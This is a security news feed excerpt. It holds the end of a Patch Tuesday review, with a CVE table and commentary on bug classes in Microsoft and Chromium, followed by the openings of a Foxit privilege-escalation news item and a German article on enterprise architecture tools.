CVE-2026-32203 .NET and Visual Studio Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-33116 .NET, .NET Framework, and Visual Studio Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2023-20585 * AMD: CVE-2023-20585 IOMMU Write Buffer Vulnerability Important 5.3 No No RCE
CVE-2026-32072 Active Directory Spoofing Vulnerability Important 6.2 No No Spoofing
CVE-2026-25184 Applocker Filter Driver (applockerfltr.sys) Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-32171 Azure Logic Apps Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-32168 Azure Monitor Agent Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32192 Azure Monitor Agent Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32181 Connected User Experiences and Telemetry Service Denial of Service Vulnerability Important 5.5 No No DoS
CVE-2026-27924 Desktop Window Manager Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32152 Desktop Window Manager Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32154 Desktop Window Manager Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-27923 Desktop Window Manager Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32155 Desktop Window Manager Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-23653 GitHub Copilot and Visual Studio Code Information Disclosure Vulnerability Important 5.7 No No Info
CVE-2026-23653 * GitHub: CVE-2026-32631 'git clone' from manipulated repositories can leak NTLM hashes Important 7.4 No No Info
CVE-2026-33096 HTTP.sys Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-25250 * MITRE: CVE-2026-25250 Secure Boot disable Eazy Fix Important 6 No No SFB
CVE-2026-26181 Microsoft Brokering File System Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32219 Microsoft Brokering File System Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-32091 Microsoft Brokering File System Elevation of Privilege Vulnerability Important 8.4 No No EoP
CVE-2026-26152 Microsoft Cryptographic Services Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-33103 Microsoft Dynamics 365 (On-Premises) Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-32188 Microsoft Excel Information Disclosure Vulnerability Important 7.1 No No Info
CVE-2026-32189 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-32197 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-32198 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-32199 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-32184 Microsoft High Performance Compute (HPC) Pack Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26155 Microsoft Local Security Authority Subsystem Service Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-27914 Microsoft Management Console Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26149 Microsoft Power Apps Security Feature Bypass Important 9 No No SFB
CVE-2026-32200 Microsoft PowerPoint Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-26143 Microsoft PowerShell Security Feature Bypass Vulnerability Important 7.8 No No SFB
CVE-2026-33120 † Microsoft SQL Server Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-20945 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No Spoofing
CVE-2026-33822 Microsoft Word Information Disclosure Vulnerability Important 6.1 No No Info
CVE-2026-33095 Microsoft Word Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-23657 Microsoft Word Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-32081 Package Catalog Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-26170 PowerShell Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26183 Remote Access Management service/API (RPC server) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26160 Remote Desktop Licensing Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26159 Remote Desktop Licensing Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26151 Remote Desktop Spoofing Vulnerability Important 7.1 No No Spoofing
CVE-2026-32085 Remote Procedure Call Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-32167 SQL Server Elevation of Privilege Vulnerability Important 6.7 No No EoP
CVE-2026-32176 SQL Server Elevation of Privilege Vulnerability Important 6.7 No No EoP
CVE-2026-0390 UEFI Secure Boot Security Feature Bypass Vulnerability Important 6.7 No No SFB
CVE-2026-32220 UEFI Secure Boot Security Feature Bypass Vulnerability Important 4.4 No No SFB
CVE-2026-32212 Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-32214 Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-32079 Web Account Manager Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-33104 Win32k Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-32196 Windows Admin Center Spoofing Vulnerability Important 6.1 No No Spoofing
CVE-2026-26178 Windows Advanced Rasterization Platform Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-32073 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-26168 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26173 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-26177 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-26182 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-27922 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-33099 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-33100 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-32088 Windows Biometric Service Security Feature Bypass Vulnerability Important 6.1 No No SFB
CVE-2026-27913 Windows BitLocker Security Feature Bypass Vulnerability Important 7.7 No No SFB
CVE-2026-26175 Windows Boot Manager Security Feature Bypass Vulnerability Important 4.6 No No SFB
CVE-2026-32162 Windows COM Elevation of Privilege Vulnerability Important 8.4 No No EoP
CVE-2026-20806 Windows COM Server Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-26176 Windows Client Side Caching driver (csc.sys) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-27926 Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-32070 Windows Common Log File System Driver Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-33098 Windows Container Isolation FS Filter Driver Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26153 Windows Encrypted File System (EFS) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32087 Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-32093 Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-32086 Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-32150 Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-27931 Windows GDI Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-27930 Windows GDI Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-32221 Windows Graphics Component Remote Code Execution Vulnerability Important 8.4 No No RCE
CVE-2026-27906 Windows Hello Security Feature Bypass Vulnerability Important 4.4 No No SFB
CVE-2026-27928 Windows Hello Security Feature Bypass Vulnerability Important 8.7 No No SFB
CVE-2026-26156 Windows Hyper-V Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-32149 Windows Hyper-V Remote Code Execution Vulnerability Important 7.3 No No RCE
CVE-2026-27910 Windows Installer Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-27912 Windows Kerberos Elevation of Privilege Vulnerability Important 8 No No EoP
CVE-2026-26179 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26180 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32195 Windows Kernel Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-26163 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32215 Windows Kernel Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-32217 Windows Kernel Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-32218 Windows Kernel Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-26169 Windows Kernel Memory Information Disclosure Vulnerability Important 6.1 No No Info
CVE-2026-27929 Windows LUA File Virtualization Filter Driver Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-32071 Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-20930 Windows Management Services Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26162 Windows OLE Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-33101 Windows Print Spooler Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32084 Windows Print Spooler Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-27927 Windows Projected File System Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26184 Windows Projected File System Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32069 Windows Projected File System Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32074 Windows Projected File System Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32078 Windows Projected File System Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26167 Windows Push Notifications Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-32158 Windows Push Notifications Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32159 Windows Push Notifications Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32160 Windows Push Notifications Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26172 Windows Push Notifications Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-20928 Windows Recovery Environment Security Feature Bypass Vulnerability Important 4.6 No No SFB
CVE-2026-32216 Windows Redirected Drive Buffering System Denial of Service Vulnerability Important 5.5 No No DoS
CVE-2026-27909 Windows Search Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26161 Windows Sensor Data Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26174 Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-32224 Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-26154 Windows Server Update Service (WSUS) Tampering Vulnerability Important 7.5 No No Tampering
CVE-2026-26165 Windows Shell Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-26166 Windows Shell Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-27918 Windows Shell Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32151 Windows Shell Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-32225 Windows Shell Security Feature Bypass Vulnerability Important 8.8 No No SFB
CVE-2026-32202 Windows Shell Spoofing Vulnerability Important 4.3 No No Spoofing
CVE-2026-32082 Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-32083 Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-32068 Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-32183 Windows Snipping Tool Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-32089 Windows Speech Brokered Api Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32090 Windows Speech Brokered Api Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32153 Windows Speech Runtime Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-27907 Windows Storage Spaces Controller Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32076 Windows Storage Spaces Controller Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-27908 Windows TDI Translation Driver (tdx.sys) Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-27921 Windows TDI Translation Driver (tdx.sys) Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-27915 Windows UPnP Device Host Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-27919 Windows UPnP Device Host Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32075 Windows UPnP Device Host Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-27916 Windows UPnP Device Host Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-27920 Windows UPnP Device Host Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32077 Windows UPnP Device Host Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-27925 Windows UPnP Device Host Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-32156 Windows UPnP Device Host Remote Code Execution Vulnerability Important 7.4 No No RCE
CVE-2026-32223 Windows USB Printing Stack (usbprint.sys) Elevation of Privilege Vulnerability Important 6.8 No No EoP
CVE-2026-32165 Windows User Interface Core Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-27911 Windows User Interface Core Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32163 Windows User Interface Core Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32164 Windows User Interface Core Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-23670 Windows Virtualization-Based Security (VBS) Security Feature Bypass Vulnerability Important 5.7 No No SFB
CVE-2026-27917 Windows WFP NDIS Lightweight Filter Driver (wfplwfs.sys) Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-32080 Windows WalletService Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-32222 Windows Win32k Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-21637 * HackerOne: CVE-2026-21637 TLS PSK/ALPN Callback Exceptions Bypass Error Handlers Moderate 7.5 No No SFB
CVE-2026-33119 Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability Moderate 5.4 No No Spoofing
CVE-2026-33829 Windows Snipping Tool Spoofing Vulnerability Moderate 4.3 No No Spoofing
CVE-2026-5858 * Chromium: CVE-2026-5858 Heap buffer overflow in WebML Critical N/A No No RCE
CVE-2026-5859 * Chromium: CVE-2026-5859 Integer overflow in WebML Critical N/A No No RCE
CVE-2026-5272 * Chromium: CVE-2026-5272 Heap buffer overflow in GPU High N/A No No RCE
CVE-2026-5273 * Chromium: CVE-2026-5273 Use after free in CSS High N/A No No RCE
CVE-2026-5274 * Chromium: CVE-2026-5274 Integer overflow in Codecs High N/A No No RCE
CVE-2026-5275 * Chromium: CVE-2026-5275 Heap buffer overflow in ANGLE High N/A No No RCE
CVE-2026-5276 * Chromium: CVE-2026-5276 Insufficient policy enforcement in WebUSB High N/A No No SFB
CVE-2026-5277 * Chromium: CVE-2026-5277 Integer overflow in ANGLE High N/A No No RCE
CVE-2026-5279 * Chromium: CVE-2026-5279 Object corruption in V8 High N/A No No RCE
CVE-2026-5280 * Chromium: CVE-2026-5280 Use after free in WebCodecs High N/A No No RCE
CVE-2026-5283 * Chromium: CVE-2026-5283 Inappropriate implementation in ANGLE High N/A No No SFB
CVE-2026-5284 * Chromium: CVE-2026-5284 Use after free in Dawn High N/A No No RCE
CVE-2026-5285 * Chromium: CVE-2026-5285 Use after free in WebGL High N/A No No RCE
CVE-2026-5286 * Chromium: CVE-2026-5286 Use after free in Dawn High N/A No No RCE
CVE-2026-5287 * Chromium: CVE-2026-5287 Use after free in PDF High N/A No No RCE
CVE-2026-5289 * Chromium: CVE-2026-5289 Use after free in Navigation High N/A No No RCE
CVE-2026-5290 * Chromium: CVE-2026-5290 Use after free in Compositing High N/A No No RCE
CVE-2026-5860 * Chromium: CVE-2026-5860 Use after free in WebRTC High N/A No No RCE
CVE-2026-5861 * Chromium: CVE-2026-5861 Use after free in V8 High N/A No No RCE
CVE-2026-5862 * Chromium: CVE-2026-5862 Inappropriate implementation in V8 High N/A No No SFB
CVE-2026-5863 * Chromium: CVE-2026-5863 Inappropriate implementation in V8 High N/A No No SFB
CVE-2026-5864 * Chromium: CVE-2026-5864 Heap buffer overflow in WebAudio High N/A No No RCE
CVE-2026-5865 * Chromium: CVE-2026-5865 Type Confusion in V8 High N/A No No RCE
CVE-2026-5866 * Chromium: CVE-2026-5866 Use after free in Media High N/A No No RCE
CVE-2026-5867 * Chromium: CVE-2026-5867 Heap buffer overflow in WebML High N/A No No RCE
CVE-2026-5868 * Chromium: CVE-2026-5868 Heap buffer overflow in ANGLE High N/A No No RCE
CVE-2026-5869 * Chromium: CVE-2026-5869 Heap buffer overflow in WebML High N/A No No RCE
CVE-2026-5870 * Chromium: CVE-2026-5870 Integer overflow in Skia High N/A No No RCE
CVE-2026-5871 * Chromium: CVE-2026-5871 Type Confusion in V8 High N/A No No RCE
CVE-2026-5872 * Chromium: CVE-2026-5872 Use after free in Blink High N/A No No RCE
CVE-2026-5873 * Chromium: CVE-2026-5873 Out of bounds read and write in V8 High N/A No No RCE
CVE-2026-5291 * Chromium: CVE-2026-5291 Inappropriate implementation in WebGL Medium N/A No No SFB
CVE-2026-5292 * Chromium: CVE-2026-5292 Out of bounds read in WebCodecs Medium N/A No No Info
CVE-2026-5874 * Chromium: CVE-2026-5874 Use after free in PrivateAI Medium N/A No No RCE
CVE-2026-5875 * Chromium: CVE-2026-5875 Policy bypass in Blink Medium N/A No No SFB
CVE-2026-5876 * Chromium: CVE-2026-5876 Side-channel information leakage in Navigation Medium N/A No No Info
CVE-2026-5877 * Chromium: CVE-2026-5877 Use after free in Navigation Medium N/A No No RCE
CVE-2026-5878 * Chromium: CVE-2026-5878 Incorrect security UI in Blink Medium N/A No No Spoofing
CVE-2026-5879 * Chromium: CVE-2026-5879 Insufficient validation of untrusted input in ANGLE Medium N/A No No SFB
CVE-2026-5880 * Chromium: CVE-2026-5880 Incorrect security UI in browser UI Medium N/A No No Spoofing
CVE-2026-5881 * Chromium: CVE-2026-5881 Policy bypass in LocalNetworkAccess Medium N/A No No SFB
CVE-2026-5882 * Chromium: CVE-2026-5882 Incorrect security UI in Fullscreen Medium N/A No No Spoofing
CVE-2026-5883 * Chromium: CVE-2026-5883 Use after free in Media Medium N/A No No RCE
CVE-2026-5884 * Chromium: CVE-2026-5884 Insufficient validation of untrusted input in Media Medium N/A No No SFB
CVE-2026-5885 * Chromium: CVE-2026-5885 Insufficient validation of untrusted input in WebML Medium N/A No No SFB
CVE-2026-5886 * Chromium: CVE-2026-5886 Out of bounds read in WebAudio Medium N/A No No Info
CVE-2026-5887 * Chromium: CVE-2026-5887 Insufficient validation of untrusted input in Downloads Medium N/A No No SFB
CVE-2026-5888 * Chromium: CVE-2026-5888 Uninitialized Use in WebCodecs Medium N/A No No RCE
CVE-2026-5889 * Chromium: CVE-2026-5889 Cryptographic Flaw in PDFium Medium N/A No No SFB
CVE-2026-5890 * Chromium: CVE-2026-5890 Race in WebCodecs Medium N/A No No RCE
CVE-2026-5891 * Chromium: CVE-2026-5891 Insufficient policy enforcement in browser UI Medium N/A No No SFB
CVE-2026-5892 * Chromium: CVE-2026-5892 Insufficient policy enforcement in PWAs Medium N/A No No SFB
CVE-2026-5893 * Chromium: CVE-2026-5893 Race in V8 Medium N/A No No RCE
CVE-2026-5894 * Chromium: CVE-2026-5894 Inappropriate implementation in PDF Low N/A No No SFB
CVE-2026-5895 * Chromium: CVE-2026-5895 Incorrect security UI in Omnibox Low N/A No No Spoofing
CVE-2026-5896 * Chromium: CVE-2026-5896 Policy bypass in Audio Low N/A No No SFB
CVE-2026-5897 * Chromium: CVE-2026-5897 Incorrect security UI in Downloads Low N/A No No Spoofing
CVE-2026-5898 * Chromium: CVE-2026-5898 Incorrect security UI in Omnibox Low N/A No No Spoofing
CVE-2026-5899 * Chromium: CVE-2026-5899 Incorrect security UI in History Navigation Low N/A No No Spoofing
CVE-2026-5900 * Chromium: CVE-2026-5900 Policy bypass in Downloads Low N/A No No SFB
CVE-2026-5901 * Chromium: CVE-2026-5901 Policy bypass in DevTools Low N/A No No SFB
CVE-2026-5902 * Chromium: CVE-2026-5902 Race in Media Low N/A No No RCE
CVE-2026-5903 * Chromium: CVE-2026-5903 Policy bypass in IFrameSandbox Low N/A No No SFB
CVE-2026-5904 * Chromium: CVE-2026-5904 Use after free in V8 Low N/A No No RCE
CVE-2026-5905 * Chromium: CVE-2026-5905 Incorrect security UI in Permissions Low N/A No No Spoofing
CVE-2026-5906 * Chromium: CVE-2026-5906 Incorrect security UI in Omnibox Low N/A No No Spoofing
CVE-2026-5907 * Chromium: CVE-2026-5907 Insufficient data validation in Media Low N/A No No SFB
CVE-2026-5908 * Chromium: CVE-2026-5908 Integer overflow in Media Low N/A No No RCE
CVE-2026-5909 * Chromium: CVE-2026-5909 Integer overflow in Media Low N/A No No RCE
CVE-2026-5910 * Chromium: CVE-2026-5910 Integer overflow in Media Low N/A No No RCE
CVE-2026-5911 * Chromium: CVE-2026-5911 Policy bypass in ServiceWorkers Low N/A No No SFB
CVE-2026-5912 * Chromium: CVE-2026-5912 Integer overflow in WebRTC Low N/A No No RCE
CVE-2026-5913 * Chromium: CVE-2026-5913 Out of bounds read in Blink Low N/A No No Info
CVE-2026-5914 * Chromium: CVE-2026-5914 Type Confusion in CSS Low N/A No No RCE
CVE-2026-5915 * Chromium: CVE-2026-5915 Insufficient validation of untrusted input in WebML Low N/A No No SFB
CVE-2026-5918 * Chromium: CVE-2026-5918 Inappropriate implementation in Navigation Low N/A No No SFB
CVE-2026-5919 * Chromium: CVE-2026-5919 Insufficient validation of untrusted input in WebSockets Low N/A No No SFB
CVE-2026-33118 Microsoft Edge (Chromium-based) Spoofing Vulnerability Low 4.3 No No Spoofing

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

 

Looking at the other Critical-rated bugs in this month’s release, there are three Office-related bugs where the Preview Pane is once again listed as an exploit vector. I would still like to have a full-proof way of disabling the Preview Pane, but I don’t see that as an option. There’s a bug in the RDP client, but that involves connecting to a malicious RDP server. The bug in Active Directory requires authentication and a network adjacent attacker. The final Critical-rated bug is an interesting DoS in .NET Framework. An unauthenticated attacker could deny service over a network – presumably crippling any affected app made in .NET. You rarely see Critical-rated DoS bugs, but this one deserves the moniker.

Moving on to the other code execution bugs, you have quite a few open-and-own bugs in Office components, most notably Excel, where the Preview Pane is not an attack vector. The bug in SQL Server requires authentication, and as usual, additional steps are needed to ensure you have the correct update to remediate this vulnerability. The two bugs in Hyper-V almost reads like a privilege escalation since it allows unauthorized attackers to execute code locally. That’s the same for the bugs in the Windows Snipping Tool and the UPnP Device host.

More than half of this release addresses Elevation of Privilege (EoP) bugs. However, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. The bugs in SQL Server could allow an attacker to gain SQL sysadmin privileges. One of the kernel bugs simply states an attacker could “elevate privileges locally”. How obtuse. That’s similar for the bug in afd.sys and Desktop Windows Manager, but Microsoft also states that these bugs could crash an affected system. There are several bugs that result in a sandbox escape, including Windows Push Notifications, AFD for Winsock, Management Services, and User Interface Core. Of these, CVE-2026-26167 (Push Notifications) is the most notable — it's the only one with low attack complexity, meaning no race condition needed. The rest all require winning a race condition (AC:H). The bugs in UPnP are interesting as they allow attackers to gain access to a limited set of administrator-protected objects. Not a full escalation but definitely getting access to resources they shouldn’t. The vulnerability in the Brokering File System allows attackers to gain the level of the logged on user, so don’t do your normal activities as a user with admin privileges. The bug in Azure Monitor Agent leads to root-level access.

There are a dozen different security features bypass bugs in the April release. Some of these are obvious by the title alone. For example, the bugs in Windows Hello bypass safety features within the Hello app itself. The bug in the Biometric Service allows attackers to bypass biometric protections. The vulns in BitLocker and Secure Boot bypass protections in those components. The bug in Power Apps allows attackers to bypass a security warning dialog and trick targets into triggering an external protocol call that performs unintended actions on the user’s device. The bug in Windows Shell allows attackers to bypass Mark of the Web (MotW) protections. The bug in PowerShell could almost be described as a code execution bug as exploiting it bypasses dynamic-expression security checks, which could result in code execution. The vulnerability in the Windows Recovery Environment allows local attackers to bypass BitLocker device encryption. Finally, the bug in Virtualization‑Based Security (VBS) is the most interesting of the bunch – and not just because VBS is a (relatively) new feature. The problem allows attackers to manipulate allow a compromised Windows kernel to modify memory belonging to the secure kernel, breaking the intended isolation guarantees provided by VBS. Somewhat of a sandbox escape, but this time, you’re escaping from Virtual Trust Level 0 (VTL0) to Virtual Trust Level 1 (VTL1). Neat.

Moving on to the Information Disclosure bugs fixed this month, we have 20 different CVEs. Fortunately, most of these simply result in info leaks consisting of unspecified memory contents or memory addresses. While useful in crafting exploits, they aren’t exactly exciting on their own. There are also several bugs that disclose addresses from an object a contained in a sandboxed execution environment. This includes bugs in the Print Spooler, Package Catalog, and Web Account Manager. The bug in Dynamics 365 discloses the ever ineffable “sensitive information”. There are three different info disclosure bugs in UPnP. Two allow an attacker to read from the file system, while the third discloses anything available to the LOCAL SERVICE account. The final info disclosure bug resides in Copilot and Visual Studio and allows attackers to disclose the contents of the Model Context Protocol (MCP) when using Copilot. There are those who think MCP is dead (thanks to agentic AI agents), but if you’re using a custom MCP, I doubt you would want it leaked.

The April release contains just a handful of Spoofing bugs. Some, like the bugs in .NET, Active Directory, and Windows Shell, just say that they allow spoofing over a network. Others, like the bug in Windows Snipping Tool, say similar but also note that it could be used to relay NTLMv2 hashes. The patch for RDP notes that there are new warning dialogs coming this month. The bug in the Windows Admin Center would allow an attacker to interact with other tenant’s applications and content. Finally, the spoofing bug in SharePoint is another XSS issue.

There are eight DoS bugs in the April release, but as always, Microsoft provides no actionable information about the vulnerabilities. Microsoft does offer a mitigation for the http.sys bug that can be applied while you test and deploy the patch, but I would rely on the patch rather than the mitigation. Another exception is the bug for Connected User Experiences and Telemetry Service, which allows attackers to deny service locally rather than over the network.

The final(!) bug in the April release is a Tampering bug in WSUS that reads like a DoS. According to Microsoft, “An attacker can send specially crafted packets which could affect availability of the service and result in Denial of Service (DoS).” But sure – let’s call it Tampering.

No new advisories are being released this month.

Looking Ahead

I will be in Berlin for the next Patch Tuesday, which will be May 12, and I’ll provide my full thoughts then on what will hopefully be a smaller release than this one. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

]]> <![CDATA[Foxit Updater Vulnerability Gives Standard Users SYSTEM-Level Control of Windows Devices]]> https://tsecurity.de/de/3694444/it-security-nachrichten/foxit-updater-vulnerability-gives-standard-users-system-level-control-of-windows-devices/ https://tsecurity.de/de/3694444/it-security-nachrichten/foxit-updater-vulnerability-gives-standard-users-system-level-control-of-windows-devices/ Sat, 25 Jul 2026 19:00:19 +0200 📰 IT Security Nachrichten tsecurity.de Foxit PDF Reader has been found vulnerable to a local privilege escalation flaw that allows standard Windows users to gain full SYSTEM-level control under specific conditions. The issue, tracked as CVE-2026-57239, was disclosed following research into Foxit’s updater and service architecture and represents a high-impact post-exploitation pathway, although it requires prior code execution on the [
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]]> <![CDATA[18 Enterprise-Architecture-Tools]]> https://tsecurity.de/de/3694429/it-security-nachrichten/18-enterprise-architecture-tools/ https://tsecurity.de/de/3694429/it-security-nachrichten/18-enterprise-architecture-tools/ Sat, 25 Jul 2026 18:59:25 +0200 📰 IT Security Nachrichten tsecurity.de
Diese Enterprise Architecture Tools unterstĂŒtzen Sie nicht nur bei der digitalen Transformation Ihres Unternehmens.

Diese Enterprise Architecture Tools unterstĂŒtzen Sie nicht nur bei der digitalen Transformation Ihres Unternehmens.

Foto: I Believe I Can Fly – shutterstock.com

Enterprise Architecture (EA) Tools unterstĂŒtzen Unternehmen und Organisationen dabei, mit ihren IT-Strategien die GeschĂ€ftsziele optimal zu unterstĂŒtzen. Sie sorgen ebenfalls dafĂŒr, dass Unternehmen ihre Roadmaps fĂŒr die digitale Transformation geordnet vorantreiben können. EA Tools bieten dafĂŒr unter anderem Collaboration-, Reporting-, Testing- und Simulationsfunktionen. Mit deren Hilfe lassen sich Modelle implementieren, die GeschĂ€fts- und IT-Prozesse gezielt verbessern.

Um die beste Lösung fĂŒr Ihr Unternehmen zu finden, sollten Sie zuerst prĂŒfen, ob sich das jeweilige Tool mit Ihrem Technologie-Stack integrieren lĂ€sst. Anschließend gilt es abzuwĂ€gen, ob die Informationen, Diagramme und Tabellen, die die Software zur VerfĂŒgung stellt, fĂŒr das Unternehmen auch einen echten Nutzwert haben.

Empfehlenswerte Enterprise-Architecture-Tools

Nachfolgend finden Sie einen Überblick ĂŒber die wichtigsten Enterprise-Architecture-Tools – in alphabetischer Reihenfolge. Sie stellen einen Mix aus Visualisierungs-, Collaboration- und Project-Management-Funktionen bereit und unterstĂŒtzen eine Vielzahl von Enterprise Architecture Frameworks.

Ardoq

